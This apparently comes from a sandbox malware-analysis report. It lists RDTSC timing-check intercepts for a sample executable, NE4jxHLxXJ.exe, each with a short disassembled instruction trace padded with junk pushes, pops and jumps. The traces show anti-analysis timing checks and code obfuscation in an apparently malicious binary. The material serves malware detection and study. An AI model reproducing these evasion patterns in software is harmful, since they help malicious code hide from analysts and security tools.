Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70971 second address: 4A709C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A81335218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-04h] 0x0000000e jmp 00007F3A81335210h 0x00000013 nop 0x00000014 jmp 00007F3A81335210h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3A8133520Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A709C5 second address: 4A709CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A709CB second address: 4A70A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, edi 0x0000000f pushfd 0x00000010 jmp 00007F3A81335219h 0x00000015 adc eax, 3ABA80D6h 0x0000001b jmp 00007F3A81335211h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70A14 second address: 4A70A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70A75 second address: 4A70A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70A7B second address: 4A70A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70A7F second address: 4A70A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70A91 second address: 4A70A97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70A97 second address: 4A70A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70A9D second address: 4A70AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70AA1 second address: 4A70AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3A81335214h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70AC1 second address: 4A70AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F3A80CCDC34h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edx, 1E9787B6h 0x00000017 jmp 00007F3A80CCDBA7h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70B60 second address: 4A70BB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A81335210h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3A8133520Eh 0x00000012 or cx, F128h 0x00000017 jmp 00007F3A8133520Bh 0x0000001c popfd 0x0000001d mov eax, 2B0CF61Fh 0x00000022 popad 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F3A81335211h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70BB1 second address: 4A70BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70BB7 second address: 4A70BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70BBB second address: 4A70BBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70BBF second address: 4A60216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 jmp 00007F3A8133520Fh 0x0000000e retn 0004h 0x00000011 nop 0x00000012 cmp eax, 00000000h 0x00000015 setne al 0x00000018 jmp 00007F3A81335202h 0x0000001a xor ebx, ebx 0x0000001c test al, 01h 0x0000001e jne 00007F3A81335207h 0x00000020 sub esp, 04h 0x00000023 mov dword ptr [esp], 0000000Dh 0x0000002a call 00007F3A853629F3h 0x0000002f mov edi, edi 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F3A81335218h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60216 second address: 4A6021C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6021C second address: 4A602B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3A8133520Ch 0x00000009 or eax, 7829F938h 0x0000000f jmp 00007F3A8133520Bh 0x00000014 popfd 0x00000015 mov edx, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov ax, 7167h 0x00000020 pushfd 0x00000021 jmp 00007F3A8133520Ch 0x00000026 add cl, FFFFFF98h 0x00000029 jmp 00007F3A8133520Bh 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 pushad 0x00000032 push edi 0x00000033 mov bh, al 0x00000035 pop ebx 0x00000036 mov si, F8E3h 0x0000003a popad 0x0000003b xchg eax, ebp 0x0000003c pushad 0x0000003d jmp 00007F3A81335214h 0x00000042 mov eax, 2CB64241h 0x00000047 popad 0x00000048 mov ebp, esp 0x0000004a jmp 00007F3A8133520Ch 0x0000004f sub esp, 2Ch 0x00000052 pushad 0x00000053 mov cx, F1E9h 0x00000057 popad 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F3A8133520Eh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A602B7 second address: 4A602C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A602C6 second address: 4A602DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A81335214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A602DE second address: 4A60326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3A80CCDBA9h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3A80CCDBA8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60326 second address: 4A6032A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6032A second address: 4A60330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60330 second address: 4A6036E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movzx ecx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d mov bh, ch 0x0000000f pushfd 0x00000010 jmp 00007F3A8133520Dh 0x00000015 and si, C976h 0x0000001a jmp 00007F3A81335211h 0x0000001f popfd 0x00000020 popad 0x00000021 mov dword ptr [esp], edi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6036E second address: 4A60372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60372 second address: 4A60378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60378 second address: 4A6038D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A80CCDBA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6038D second address: 4A60391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60446 second address: 4A6046B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3A80CCDB9Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6046B second address: 4A60471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60471 second address: 4A60475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60475 second address: 4A60496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F3A81335210h 0x00000012 pop ecx 0x00000013 mov eax, ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60496 second address: 4A604E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F3A80CCDDA1h 0x0000000f jmp 00007F3A80CCDBA0h 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 pushad 0x00000018 movzx eax, di 0x0000001b pushad 0x0000001c call 00007F3A80CCDBA9h 0x00000021 pop esi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A604E0 second address: 4A604F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [ebp-14h], edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov cl, 15h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60550 second address: 4A6055A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 6746D8E1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6069B second address: 4A6069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6069F second address: 4A606A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A606A3 second address: 4A606A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A606A9 second address: 4A606AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A606AF second address: 4A606D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 movzx esi, bx 0x00000013 popad 0x00000014 popad 0x00000015 lea eax, dword ptr [ebp-2Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ebx, 1C4FD7A8h 0x00000020 mov esi, edx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A606D2 second address: 4A606FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3A80CCDBA7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A606FA second address: 4A607AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 call 00007F3A8133520Bh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F3A81335216h 0x00000014 xchg eax, esi 0x00000015 jmp 00007F3A81335210h 0x0000001a nop 0x0000001b jmp 00007F3A81335210h 0x00000020 push eax 0x00000021 jmp 00007F3A8133520Bh 0x00000026 nop 0x00000027 jmp 00007F3A81335216h 0x0000002c xchg eax, ebx 0x0000002d jmp 00007F3A81335210h 0x00000032 push eax 0x00000033 pushad 0x00000034 jmp 00007F3A81335211h 0x00000039 popad 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F3A81335218h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A607C5 second address: 4A607CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A607CB second address: 4A607D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A607D1 second address: 4A60008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a jmp 00007F3A80CCDBA0h 0x0000000f test esi, esi 0x00000011 pushad 0x00000012 mov ecx, 78E880FDh 0x00000017 push esi 0x00000018 mov edx, 606AEEECh 0x0000001d pop edi 0x0000001e popad 0x0000001f je 00007F3AF2E9B9F0h 0x00000025 xor eax, eax 0x00000027 jmp 00007F3A80CA72CAh 0x0000002c pop esi 0x0000002d pop edi 0x0000002e pop ebx 0x0000002f leave 0x00000030 retn 0004h 0x00000033 nop 0x00000034 xor ebx, ebx 0x00000036 cmp eax, 00000000h 0x00000039 je 00007F3A80CCDCF3h 0x0000003f call 00007F3A84CFB01Dh 0x00000044 mov edi, edi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60008 second address: 4A6000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6000C second address: 4A60024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60024 second address: 4A6002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6002A second address: 4A6002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6002E second address: 4A60032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60032 second address: 4A60041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60041 second address: 4A60047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60047 second address: 4A60064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A80CCDBA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60064 second address: 4A6008D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A81335211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3A8133520Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6008D second address: 4A600C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 57F9A092h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007F3A80CCDB9Fh 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3A80CCDBA2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A600C1 second address: 4A600EA instructions: 0x00000000 rdtsc 0x00000002 mov eax, 0A265B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushfd 0x0000000c jmp 00007F3A8133520Ch 0x00000011 or cx, AB08h 0x00000016 jmp 00007F3A8133520Bh 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A600EA second address: 4A60120 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3A80CCDBA8h 0x00000008 sbb ax, 4D68h 0x0000000d jmp 00007F3A80CCDB9Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60120 second address: 4A60132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60132 second address: 4A6017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F3A80CCDBA6h 0x0000000f mov dword ptr [ebp-04h], 55534552h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ecx 0x0000001b jmp 00007F3A80CCDBA9h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A6017E second address: 4A60184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60EAE second address: 4A60EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60EB4 second address: 4A60EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60EB8 second address: 4A60EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a mov bh, cl 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60EC7 second address: 4A60F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 jmp 00007F3A81335214h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F3A81335210h 0x00000015 cmp dword ptr [76C8459Ch], 05h 0x0000001c jmp 00007F3A81335210h 0x00000021 je 00007F3AF34F2CF8h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push edx 0x0000002b pop eax 0x0000002c mov cx, dx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A60F1C second address: 4A60F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70008 second address: 4A7000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A7000E second address: 4A7009E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3A80CCDB9Eh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 13DBC293h 0x00000010 jmp 00007F3A80CCDBA1h 0x00000015 xor dword ptr [esp], 651C5EBBh 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F3A80CCDB9Ch 0x00000023 and cx, CA38h 0x00000028 jmp 00007F3A80CCDB9Bh 0x0000002d popfd 0x0000002e call 00007F3A80CCDBA8h 0x00000033 pop edi 0x00000034 popad 0x00000035 call 00007F3AF2E83690h 0x0000003a push 76C22B70h 0x0000003f push dword ptr fs:[00000000h] 0x00000046 mov eax, dword ptr [esp+10h] 0x0000004a mov dword ptr [esp+10h], ebp 0x0000004e lea ebp, dword ptr [esp+10h] 0x00000052 sub esp, eax 0x00000054 push ebx 0x00000055 push esi 0x00000056 push edi 0x00000057 mov eax, dword ptr [76C84538h] 0x0000005c xor dword ptr [ebp-04h], eax 0x0000005f xor eax, ebp 0x00000061 push eax 0x00000062 mov dword ptr [ebp-18h], esp 0x00000065 push dword ptr [ebp-08h] 0x00000068 mov eax, dword ptr [ebp-04h] 0x0000006b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000072 mov dword ptr [ebp-08h], eax 0x00000075 lea eax, dword ptr [ebp-10h] 0x00000078 mov dword ptr fs:[00000000h], eax 0x0000007e ret 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 call 00007F3A80CCDBA9h 0x00000087 pop eax 0x00000088 movsx edi, si 0x0000008b popad 0x0000008c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A7009E second address: 4A700CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A81335213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3A81335212h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A700CB second address: 4A700DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A80CCDB9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A700DD second address: 4A700E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A700E1 second address: 4A70109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-1Ch], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3A80CCDBA9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70109 second address: 4A7010F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
